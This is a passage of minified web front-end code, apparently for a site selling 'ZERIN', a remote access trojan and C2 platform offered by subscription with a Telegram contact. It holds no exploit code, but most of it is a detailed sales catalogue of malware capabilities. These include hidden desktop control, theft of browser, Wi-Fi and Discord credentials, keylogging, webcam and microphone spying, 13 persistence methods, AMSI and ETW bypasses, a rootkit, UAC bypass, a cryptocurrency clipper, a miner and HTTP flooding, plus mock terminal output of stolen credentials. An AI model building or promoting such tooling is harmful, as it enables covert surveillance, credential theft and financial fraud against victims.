hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&a.jsxs("div",{className:"text-center space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),a.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),a.jsx(xt,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),a.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const Vi=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function dS(e=.15){const t=m.useRef(null),[n,r]=m.useState(!1);return m.useEffect(()=>{const i=t.current;if(!i)return;const s=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),s.disconnect())},{threshold:e});return s.observe(i),()=>s.disconnect()},[e]),{ref:t,visible:n}}const VV=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function Jb({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let s=0,o;for(;(o=i.exec(e))!==null;)o.index>s&&n.push(a.jsx("span",{className:t,children:e.slice(s,o.index)},r++)),n.push(a.jsx("span",{className:o[1],children:o[2]},r++)),s=i.lastIndex;return sa.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${s*80}ms`:"0ms"},children:i.startsWith("$")?a.jsxs(a.Fragment,{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"ml-2",children:a.jsx(Jb,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):a.jsx("span",{className:"pl-4",children:a.jsx(Jb,{text:i,base:"text-zerin-text-muted/60"})})},s))})]})}const KV=m.memo(function({feat:t,delay:n,visible:r}){const[i,s]=m.useState(!1);return a.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:a.jsxs("button",{onClick:()=>t.detail&&s(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[a.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&a.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function GV({cat:e,index:t}){const{ref:n,visible:r}=dS(.1);return a.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[a.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),a.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),a.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[a.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,s)=>a.jsx(KV,{feat:i,delay:s*50,visible:r},i.name))}),e.terminal&&a.jsx("div",{className:"hidden lg:block",children:a.jsx("div",{className:"sticky top-24",children:a.jsx(HV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function YV({activeId:e}){return a.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:a.jsx("div",{className:"flex flex-col gap-1",children:Vi.map(t=>a.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[a.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function oc({value:e,label:t,suffix:n=""}){return a.jsxs("div",{className:"text-center",children:[a.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),a.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function qV(){const[e,t]=m.useState(!1),[n,r]=m.useState(Vi[0].id);m.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),m.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return Vi.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=m.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),s=Vi.reduce((o,l)=>o+l.features.length,0);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx(VV,{}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsxs(xt,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xt,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(xt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(xt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsx(YV,{activeId:n}),a.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),a.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),a.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[s," capabilities across ",Vi.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),a.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[a.jsx(oc,{value:String(s),label:"Capabilities"}),a.jsx(oc,{value:"13",label:"Persist Methods"}),a.jsx(oc,{value:"11",label:"Rootkit Hooks"}),a.jsx(oc,{value:"256",label:"Proxy Channels"})]}),a.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:Vi.map(o=>a.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),a.jsx("div",{className:"max-w-6xl mx-auto px-6",children:a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),a.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:Vi.map((o,l)=>a.jsx(GV,{cat:o,index:l},o.id))}),a.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",s," capabilities included."]}),a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"View Pricing"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(xt,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 